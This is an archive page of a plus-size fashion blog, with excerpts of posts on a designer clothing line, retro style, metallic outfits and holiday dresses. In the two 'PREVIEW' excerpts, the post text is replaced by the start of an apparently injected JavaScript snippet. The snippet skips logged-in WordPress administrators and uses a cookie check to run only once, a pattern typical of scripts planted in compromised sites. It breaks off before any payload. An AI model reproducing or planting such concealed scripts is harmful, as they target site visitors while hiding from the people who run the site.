I joined the Cult, and you will too. Cult of California, that is. (Don’t worry, I’m neither a Raëlian or Mooney). Cult of California is the plus-size clothing line by designer Jen Wilder. (Another considered headline for this post- “I’m Wild…
PREVIEW: Cult Classic(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function…
I just can’t Stop Staring (And admit it, neither can you…) Whenever I think of retro style done right, I think of Jasmin from Vintage Vandalizm (seriously, if you don’t know her blog, you’ve got to check her out!) I love her sense of style…
I can’t Stop Staring – Preview(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function…
Oh the weather outside is frightful… but this outfit is so delightful… And comfy. And cozy. And warm. I will admit that the majority of my outfits are not based in comfy-ness or coziness, but due to the nippy weather I threw all of…
I can’t deny it, I’ve really taken a shine to metallic hues lately. I was fortunate enough to be gifted such beautiful pieces by Lane Bryant, so there was no reason for me to feel gilt-y. Alright, alright, too many puns……
Happy Holidays everyone! Regardless of what you celebrate (personally, I celebrate both Christmas & Chanukah), everyone loves an excuse to party! I’ve been on a hunt for a perfect party frock, and I think I found it in this elegantly…
It’s a fashion blackout. Whether I’m subconsciously influenced by the love of my last name, or because it’s such a versatile shade, I can’t help reaching for it when I’m in a rush to get ready. I am obsessed with…
They say less is more (I usually feel that more is more, but I digress…), so this is my attempt to experience how less exactly is more… While I pared down my typical piles of bangles and rings, and trekked outside sans shoes (Shoeless! What?)…
Fancy Schmancy. When I was young, I used to say “Fancy Schmancy” to describe things I thought were very, well, fancy. My Mother later explained to me that it really means that someone is putting on airs, and isn’t really a…